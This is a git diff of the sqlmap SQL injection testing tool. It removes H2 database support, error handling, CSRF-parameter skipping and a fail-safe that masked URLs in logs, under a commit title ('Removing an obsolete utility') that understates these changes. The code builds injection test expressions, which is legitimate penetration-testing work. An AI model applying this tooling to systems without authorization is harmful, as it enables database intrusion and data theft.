Removing an obsolete utility

README.md

@@ -1,10 +1,10 @@
 # sqlmap
 
-[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap)
 
 sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
 
-**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/scan-website-security-issues/?utm_source=sqlmap.org&utm_medium=banner&utm_campaign=github).**
+**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/?utm_source=github.com&utm_medium=referral&utm_content=sqlmap+repo&utm_campaign=generic+advert).**
 
 Screenshots
 ----

doc/THANKS.md

@@ -565,9 +565,6 @@ Efrain Torres, <et(at)metasploit.com>
 * for helping out to improve the Metasploit Framework sqlmap auxiliary module and for committing it on the Metasploit official subversion repository
 * for his great Metasploit WMAP Framework
 
-Jennifer Torres, <jtorresf42(at)gmail.com>
-* for contributing a tamper script luanginx.py
-
 Sandro Tosi, <matrixhasu(at)gmail.com>
 * for helping to create sqlmap Debian package correctly
 

lib/controller/checks.py

@@ -70,12 +70,10 @@ from lib.core.enums import PAYLOAD
 from lib.core.enums import PLACE
 from lib.core.enums import REDIRECTION
 from lib.core.exception import SqlmapConnectionException
-from lib.core.exception import SqlmapDataException
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapSilentQuitException
 from lib.core.exception import SqlmapSkipTargetException
 from lib.core.exception import SqlmapUserQuitException
-from lib.core.settings import BOUNDED_INJECTION_MARKER
 from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH
 from lib.core.settings import CHECK_INTERNET_ADDRESS
 from lib.core.settings import CHECK_INTERNET_VALUE
@@ -91,7 +89,6 @@ from lib.core.settings import IDS_WAF_CHECK_TIMEOUT
 from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
 from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH
 from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS
-from lib.core.settings import SINGLE_QUOTE_MARKER
 from lib.core.settings import SLEEP_TIME_MARKER
 from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
 from lib.core.settings import SUPPORTED_DBMS
@@ -363,7 +360,7 @@ def checkSqlInjection(place, parameter, value):
 
             # Parse test's <request>
             comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
-            fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
+            fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
 
             for boundary in boundaries:
                 injectable = False
@@ -474,13 +471,13 @@ def checkSqlInjection(place, parameter, value):
                     # payload was successful
                     # Parse test's <response>
                     for method, check in test.response.items():
-                        check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
+                        check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
 
                         # In case of boolean-based blind SQL injection
                         if method == PAYLOAD.METHOD.COMPARISON:
                             # Generate payload used for comparison
                             def genCmpPayload():
-                                sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
+                                sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
 
                                 # Forge response payload by prepending with
                                 # boundary's prefix and appending the boundary's
@@ -862,8 +859,8 @@ def heuristicCheckDbms(injection):
         if conf.noEscape and dbms not in FROM_DUMMY_TABLE:
             continue
 
-        if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)):
-            if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
+        if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)):
+            if not checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr2)):
                 retVal = dbms
                 break
 
@@ -1119,6 +1116,14 @@ def checkDynParam(place, parameter, value):
     try:
         payload = agent.payload(place, parameter, value, getUnicode(randInt))
         dynResult = Request.queryPage(payload, place, raise404=False)
+
+        if not dynResult:
+            infoMsg = "confirming that %s parameter '%s' is dynamic" % (paramType, parameter)
+            logger.info(infoMsg)
+
+            randInt = randomInt()
+            payload = agent.payload(place, parameter, value, getUnicode(randInt))
+            dynResult = Request.queryPage(payload, place, raise404=False)
     except SqlmapConnectionException:
         pass
 
@@ -1350,11 +1355,9 @@ def checkWaf():
         value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
 
     pushValue(kb.redirectChoice)
-    pushValue(kb.resendPostOnRedirect)
     pushValue(conf.timeout)
 
     kb.redirectChoice = REDIRECTION.YES
-    kb.resendPostOnRedirect = False
     conf.timeout = IDS_WAF_CHECK_TIMEOUT
 
     try:
@@ -1365,7 +1368,6 @@ def checkWaf():
         kb.matchRatio = None
 
         conf.timeout = popValue()
-        kb.resendPostOnRedirect = popValue()
         kb.redirectChoice = popValue()
 
     if retVal:
@@ -1535,10 +1537,6 @@ def checkConnection(suppressOutput=False):
                 errMsg = "problem occurred while "
                 errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
                 raise SqlmapConnectionException(errMsg)
-            except UnicodeError, ex:
-                errMsg = "problem occurred while "
-                errMsg += "handling a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
-                raise SqlmapDataException(errMsg)
 
     if not suppressOutput and not conf.dummy and not conf.offline:
         infoMsg = "testing connection to the target URL"

lib/controller/controller.py

@@ -56,11 +56,9 @@ from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapNotVulnerableException
 from lib.core.exception import SqlmapSilentQuitException
 from lib.core.exception import SqlmapSkipTargetException
-from lib.core.exception import SqlmapSystemException
 from lib.core.exception import SqlmapValueException
 from lib.core.exception import SqlmapUserQuitException
 from lib.core.settings import ASP_NET_CONTROL_REGEX
-from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import EMPTY_FORM_FIELDS_REGEX
 from lib.core.settings import IGNORE_PARAMETERS
@@ -245,20 +243,16 @@ def _saveToResultsFile():
 
         results[key].extend(injection.data.keys())
 
-    try:
-        for key, value in results.items():
-            place, parameter, notes = key
-            line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
-            conf.resultsFP.write(line)
+    for key, value in results.items():
+        place, parameter, notes = key
+        line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
+        conf.resultsFP.write(line)
 
-        if not results:
-            line = "%s,,,,%s" % (conf.url, os.linesep)
-            conf.resultsFP.write(line)
+    if not results:
+        line = "%s,,,,%s" % (conf.url, os.linesep)
+        conf.resultsFP.write(line)
 
-        conf.resultsFP.flush()
-    except IOError, ex:
-        errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFilename, getSafeExString(ex))
-        raise SqlmapSystemException(errMsg)
+    conf.resultsFP.flush()
 
 @stackedmethod
 def start():
@@ -313,7 +307,6 @@ def start():
             conf.cookie = targetCookie
             conf.httpHeaders = list(initialHeaders)
             conf.httpHeaders.extend(targetHeaders or [])
-            conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]
 
             initTargetEnv()
             parseTargetUrl()
@@ -512,7 +505,7 @@ def start():
                             logger.info(infoMsg)
 
                         # Ignore session-like parameters for --level < 4
-                        elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)):
+                        elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)):
                             testSqlInj = False
 
                             infoMsg = "ignoring %s parameter '%s'" % (paramType, parameter)
@@ -531,7 +524,7 @@ def start():
 
                                     testSqlInj = False
                             else:
-                                infoMsg = "%s parameter '%s' appears to be dynamic" % (paramType, parameter)
+                                infoMsg = "%s parameter '%s' is dynamic" % (paramType, parameter)
                                 logger.info(infoMsg)
 
                         kb.testedParams.add(paramKey)

lib/controller/handler.py

@@ -10,7 +10,6 @@ from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.dicts import DBMS_DICT
 from lib.core.enums import DBMS
-from lib.core.exception import SqlmapConnectionException
 from lib.core.settings import MSSQL_ALIASES
 from lib.core.settings import MYSQL_ALIASES
 from lib.core.settings import ORACLE_ALIASES
@@ -22,7 +21,6 @@ from lib.core.settings import MAXDB_ALIASES
 from lib.core.settings import SYBASE_ALIASES
 from lib.core.settings import DB2_ALIASES
 from lib.core.settings import HSQLDB_ALIASES
-from lib.core.settings import H2_ALIASES
 from lib.core.settings import INFORMIX_ALIASES
 from lib.utils.sqlalchemy import SQLAlchemy
 
@@ -48,8 +46,6 @@ from plugins.dbms.db2 import DB2Map
 from plugins.dbms.db2.connector import Connector as DB2Conn
 from plugins.dbms.hsqldb import HSQLDBMap
 from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
-from plugins.dbms.h2 import H2Map
-from plugins.dbms.h2.connector import Connector as H2Conn
 from plugins.dbms.informix import InformixMap
 from plugins.dbms.informix.connector import Connector as InformixConn
 
@@ -71,7 +67,6 @@ def setHandler():
         (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
         (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
         (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
-        (DBMS.H2, H2_ALIASES, H2Map, H2Conn),
         (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
     ]
 
@@ -95,41 +90,29 @@ def setHandler():
         conf.dbmsConnector = Connector()
 
         if conf.direct:
-            exception = None
             dialect = DBMS_DICT[dbms][3]
 
             if dialect:
-                try:
-                    sqlalchemy = SQLAlchemy(dialect=dialect)
-                    sqlalchemy.connect()
+                sqlalchemy = SQLAlchemy(dialect=dialect)
+                sqlalchemy.connect()
 
-                    if sqlalchemy.connector:
-                        conf.dbmsConnector = sqlalchemy
-                except Exception, ex:
-                    exception = ex
-
-            if not dialect or exception:
-                try:
-                    conf.dbmsConnector.connect()
-                except Exception, ex:
-                    if exception:
-                        raise exception
-                    else:
-                        if not isinstance(ex, NameError):
-                            raise
-                        else:
-                            msg = "support for direct connection to '%s' is not available. " % dbms
-                            msg += "Please rerun with '--dependencies'"
-                            raise SqlmapConnectionException(msg)
+                if sqlalchemy.connector:
+                    conf.dbmsConnector = sqlalchemy
+                else:
+                    try:
+                        conf.dbmsConnector.connect()
+                    except NameError:
+                        pass
+            else:
+                conf.dbmsConnector.connect()
 
         if conf.forceDbms == dbms or handler.checkDbms():
             if kb.resolutionDbms:
                 conf.dbmsHandler = max(_ for _ in items if _[0] == kb.resolutionDbms)[2]()
-                conf.dbmsHandler._dbms = kb.resolutionDbms
             else:
                 conf.dbmsHandler = handler
-                conf.dbmsHandler._dbms = dbms
 
+            conf.dbmsHandler._dbms = dbms
             break
         else:
             conf.dbmsConnector = None

lib/core/agent.py

@@ -43,7 +43,6 @@ from lib.core.settings import INFERENCE_MARKER
 from lib.core.settings import NULL
 from lib.core.settings import PAYLOAD_DELIMITER
 from lib.core.settings import REPLACEMENT_MARKER
-from lib.core.settings import SINGLE_QUOTE_MARKER
 from lib.core.settings import SLEEP_TIME_MARKER
 from lib.core.unescaper import unescaper
 
@@ -247,9 +246,6 @@ class Agent(object):
         else:
             query = kb.injection.prefix or prefix or ""
 
-            if "SELECT '[RANDSTR]'" in query:  # escaping of pre-WHERE prefixes
-                query = query.replace("'[RANDSTR]'", unescaper.escape(randomStr(), quote=False))
-
             if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('):
                 query += " "
 
@@ -349,7 +345,6 @@ class Agent(object):
 
         if payload:
             payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
-            payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
 
             for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)):
                 payload = payload.replace(_, str(randomInt()))
@@ -624,7 +619,7 @@ class Agent(object):
             elif fieldsNoSelect:
                 concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
 
-        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2):
+        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB):
             if fieldsExists:
                 concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                 concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -823,7 +818,7 @@ class Agent(object):
             limitRegExp2 = None
 
         if (limitRegExp or limitRegExp2) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
-            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
+            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
                 limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
                 limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
 
@@ -913,14 +908,14 @@ class Agent(object):
         fromFrom = limitedQuery[fromIndex + 1:]
         orderBy = None
 
-        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
+        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
             limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
             limitedQuery += " %s" % limitStr
 
         elif Backend.isDbms(DBMS.HSQLDB):
             match = re.search(r"ORDER BY [^ ]+", limitedQuery)
             if match:
-                limitedQuery = re.sub(r"\s*%s\s*" % re.escape(match.group(0)), " ", limitedQuery).strip()
+                limitedQuery = re.sub(r"\s*%s\s*" % match.group(0), " ", limitedQuery).strip()
                 limitedQuery += " %s" % match.group(0)
 
             if query.startswith("SELECT "):
@@ -1094,7 +1089,7 @@ class Agent(object):
         if conf.dumpWhere and query:
             prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "")
 
-            if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
+            if "%s)" % conf.tbl.upper() in prefix.upper():
                 prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
             elif re.search(r"(?i)\bWHERE\b", prefix):
                 prefix += " AND %s" % conf.dumpWhere

lib/core/common.py

@@ -165,6 +165,7 @@ from lib.core.settings import URI_QUESTION_MARKER
 from lib.core.settings import URLENCODE_CHAR_LIMIT
 from lib.core.settings import URLENCODE_FAILSAFE_CHARS
 from lib.core.settings import USER_AGENT_ALIASES
+from lib.core.settings import VERSION
 from lib.core.settings import VERSION_STRING
 from lib.core.settings import WEBSCARAB_SPLITTER
 from lib.core.threads import getCurrentThreadData
@@ -645,7 +646,7 @@ def paramToDict(place, parameters=None):
                                                     current[key] = "%s%s" % (getUnicode(value).lower(), BOUNDED_INJECTION_MARKER)
                                                 else:
                                                     current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
-                                                candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized, separators=(',', ':') if ", " not in testableParameters[parameter] else None), parameters)
+                                                candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized), parameters)
                                                 current[key] = original
 
                                 deserialized = json.loads(testableParameters[parameter])
@@ -899,7 +900,7 @@ def clearColors(message):
 
     retVal = message
 
-    if isinstance(message, str):
+    if message:
         retVal = re.sub(r"\x1b\[[\d;]+m", "", message)
 
     return retVal
@@ -923,7 +924,7 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
 
             try:
                 if conf.get("api"):
-                    sys.stdout.write(clearColors(message), status, content_type)
+                    sys.stdout.write(message, status, content_type)
                 else:
                     sys.stdout.write(setColor(message, bold=bold))
 
@@ -997,11 +998,6 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
     retVal = None
     kb.stickyLevel = None
 
-    if kb.lastInputMessage == message:
-        checkBatch = False
-    else:
-        kb.lastInputMessage = message
-
     message = getUnicode(message)
 
     if "\n" in message:
@@ -1203,7 +1199,7 @@ def banner():
     This function prints sqlmap banner with its version
     """
 
-    if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"):
+    if not any(_ in sys.argv for _ in ("--version", "--api")):
         _ = BANNER
 
         if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv:
@@ -1412,10 +1408,8 @@ def parseTargetDirect():
                     __import__("pyodbc")
                 elif dbmsName == DBMS.FIREBIRD:
                     __import__("kinterbasdb")
-            except (SqlmapSyntaxException, SqlmapMissingDependence):
-                raise
             except:
-                if _sqlalchemy and data[3] and any(_ in _sqlalchemy.dialects.__all__ for _ in (data[3], data[3].split('+')[0])):
+                if _sqlalchemy and data[3] in _sqlalchemy.dialects.__all__:
                     pass
                 else:
                     errMsg = "sqlmap requires '%s' third-party library " % data[1]
@@ -3377,7 +3371,7 @@ def getLatestRevision():
     """
     Retrieves latest revision from the offical repository
 
-    >>> from lib.core.settings import VERSION; getLatestRevision() == VERSION
+    >>> getLatestRevision() == VERSION
     True
     """
 
@@ -3488,9 +3482,6 @@ def maskSensitiveData(msg):
     for match in re.finditer(r"(?i)[ -]-(u|url|data|cookie)( |=)(.*?)(?= -?-[a-z]|\Z)", retVal):
         retVal = retVal.replace(match.group(3), '*' * len(match.group(3)))
 
-    # Fail-safe substitution
-    retVal = re.sub(r"(?i)\bhttps?://[^ ]+", lambda match: '*' * len(match.group(0)), retVal)
-
     if getpass.getuser():
         retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), '*' * len(getpass.getuser()), retVal)
 
@@ -3552,7 +3543,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
                 return value
 
             payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ""), convall=True))
-            regex = _(filterStringValue(payload, r"[A-Za-z0-9]", REFLECTED_REPLACEMENT_REGEX.encode("string_escape")))
+            regex = _(filterStringValue(payload, r"[A-Za-z0-9]", REFLECTED_REPLACEMENT_REGEX.encode("string-escape")))
 
             if regex != payload:
                 if all(part.lower() in content.lower() for part in filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]):  # fast optimization check
@@ -3659,7 +3650,7 @@ def safeSQLIdentificatorNaming(name, isTable=False):
 
             if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
                 retVal = "`%s`" % retVal
-            elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX):
+            elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.INFORMIX, DBMS.HSQLDB):
                 retVal = "\"%s\"" % retVal
             elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
                 retVal = "\"%s\"" % retVal.upper()
@@ -4285,7 +4276,7 @@ def decodeHexValue(value, raw=False):
                         retVal = retVal.decode("utf-16-le")
                     except UnicodeDecodeError:
                         pass
-                elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2):
+                elif Backend.isDbms(DBMS.HSQLDB):
                     try:
                         retVal = retVal.decode("utf-16-be")
                     except UnicodeDecodeError:
@@ -4737,8 +4728,6 @@ def getSafeExString(ex, encoding=None):
         retVal = ex.message
     elif getattr(ex, "msg", None):
         retVal = ex.msg
-    elif isinstance(ex, (list, tuple)) and len(ex) > 1 and isinstance(ex[1], basestring):
-        retVal = ex[1]
 
     return getUnicode(retVal or "", encoding=encoding).strip()
 

lib/core/dicts.py

@@ -22,7 +22,6 @@ from lib.core.settings import MAXDB_ALIASES
 from lib.core.settings import SYBASE_ALIASES
 from lib.core.settings import DB2_ALIASES
 from lib.core.settings import HSQLDB_ALIASES
-from lib.core.settings import H2_ALIASES
 from lib.core.settings import INFORMIX_ALIASES
 
 FIREBIRD_TYPES = {
@@ -196,7 +195,6 @@ DBMS_DICT = {
     DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"),
     DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
     DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
-    DBMS.H2: (H2_ALIASES, None, None, None),
     DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
 }
 

lib/core/dump.py

@@ -171,7 +171,7 @@ class Dump(object):
     def currentDb(self, data):
         if Backend.isDbms(DBMS.MAXDB):
             self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
-        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
+        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB):
             self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
         else:
             self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)

lib/core/enums.py

@@ -43,7 +43,6 @@ class DBMS:
     SQLITE = "SQLite"
     SYBASE = "Sybase"
     HSQLDB = "HSQLDB"
-    H2 = "H2"
     INFORMIX = "Informix"
 
 class DBMS_DIRECTORY_NAME:
@@ -58,7 +57,6 @@ class DBMS_DIRECTORY_NAME:
     SQLITE = "sqlite"
     SYBASE = "sybase"
     HSQLDB = "hsqldb"
-    H2 = "h2"
     INFORMIX = "informix"
 
 class CUSTOM_LOGGING:
@@ -378,7 +376,3 @@ class TIMEOUT_STATE:
     NORMAL = 0
     EXCEPTION = 1
     TIMEOUT = 2
-
-class HINT:
-    PREPEND = 0
-    APPEND = 1

lib/core/option.py

@@ -45,6 +45,7 @@ from lib.core.common import ntToPosixSlashes
 from lib.core.common import openFile
 from lib.core.common import parseRequestFile
 from lib.core.common import parseTargetDirect
+from lib.core.common import parseTargetUrl
 from lib.core.common import paths
 from lib.core.common import randomStr
 from lib.core.common import readCachedFileContent
@@ -82,7 +83,6 @@ from lib.core.enums import PROXY_TYPE
 from lib.core.enums import REFLECTIVE_COUNTER
 from lib.core.enums import WIZARD
 from lib.core.exception import SqlmapConnectionException
-from lib.core.exception import SqlmapDataException
 from lib.core.exception import SqlmapFilePathException
 from lib.core.exception import SqlmapGenericException
 from lib.core.exception import SqlmapInstallationException
@@ -103,8 +103,8 @@ from lib.core.settings import DBMS_ALIASES
 from lib.core.settings import DEFAULT_PAGE_ENCODING
 from lib.core.settings import DEFAULT_TOR_HTTP_PORTS
 from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS
-from lib.core.settings import DEFAULT_USER_AGENT
 from lib.core.settings import DUMMY_URL
+from lib.core.settings import INJECT_HERE_REGEX
 from lib.core.settings import IS_WIN
 from lib.core.settings import KB_CHARS_BOUNDARY_CHAR
 from lib.core.settings import KB_CHARS_LOW_FREQUENCY_ALPHABET
@@ -114,6 +114,7 @@ from lib.core.settings import MAX_NUMBER_OF_THREADS
 from lib.core.settings import NULL
 from lib.core.settings import PARAMETER_SPLITTING_REGEX
 from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT
+from lib.core.settings import SITE
 from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE
 from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
 from lib.core.settings import SUPPORTED_DBMS
@@ -123,6 +124,7 @@ from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import UNION_CHAR_REGEX
 from lib.core.settings import UNKNOWN_DBMS_VERSION
 from lib.core.settings import URI_INJECTABLE_REGEX
+from lib.core.settings import VERSION_STRING
 from lib.core.threads import getCurrentThreadData
 from lib.core.threads import setDaemon
 from lib.core.update import update
@@ -1071,7 +1073,7 @@ def _setSafeVisit():
                     key, value = line.split(':', 1)
                     value = value.strip()
                     kb.safeReq.headers[key] = value
-                    if key.upper() == HTTP_HEADER.HOST.upper():
+                    if key == HTTP_HEADER.HOST:
                         if not value.startswith("http"):
                             scheme = "http"
                             if value.endswith(":443"):
@@ -1256,6 +1258,14 @@ def _setHTTPExtraHeaders():
         # Reference: http://stackoverflow.com/a/1383359
         conf.httpHeaders.append((HTTP_HEADER.CACHE_CONTROL, "no-cache"))
 
+def _defaultHTTPUserAgent():
+    """
+    @return: default sqlmap HTTP User-Agent header
+    @rtype: C{str}
+    """
+
+    return "%s (%s)" % (VERSION_STRING, SITE)
+
 def _setHTTPUserAgent():
     """
     Set the HTTP User-Agent header.
@@ -1295,12 +1305,12 @@ def _setHTTPUserAgent():
         _ = True
 
         for header, _ in conf.httpHeaders:
-            if header.upper() == HTTP_HEADER.USER_AGENT.upper():
+            if header == HTTP_HEADER.USER_AGENT:
                 _ = False
                 break
 
         if _:
-            conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, DEFAULT_USER_AGENT))
+            conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _defaultHTTPUserAgent()))
 
     else:
         if not kb.userAgents:
@@ -1315,10 +1325,10 @@ def _setHTTPUserAgent():
                 warnMsg += "file '%s'" % paths.USER_AGENTS
                 logger.warn(warnMsg)
 
-                conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, DEFAULT_USER_AGENT))
+                conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _defaultHTTPUserAgent()))
                 return
 
-        userAgent = random.sample(kb.userAgents or [DEFAULT_USER_AGENT], 1)[0]
+        userAgent = random.sample(kb.userAgents or [_defaultHTTPUserAgent()], 1)[0]
 
         infoMsg = "fetched random HTTP User-Agent header value '%s' from " % userAgent
         infoMsg += "file '%s'" % paths.USER_AGENTS
@@ -1359,19 +1369,6 @@ def _setHTTPCookies():
 
         conf.httpHeaders.append((HTTP_HEADER.COOKIE, conf.cookie))
 
-def _setHostname():
-    """
-    Set value conf.hostname
-    """
-
-    if conf.url:
-        try:
-            conf.hostname = urlparse.urlsplit(conf.url).netloc.split(':')[0]
-        except ValueError, ex:
-            errMsg = "problem occurred while "
-            errMsg += "parsing an URL '%s' ('%s')" % (conf.url, getSafeExString(ex))
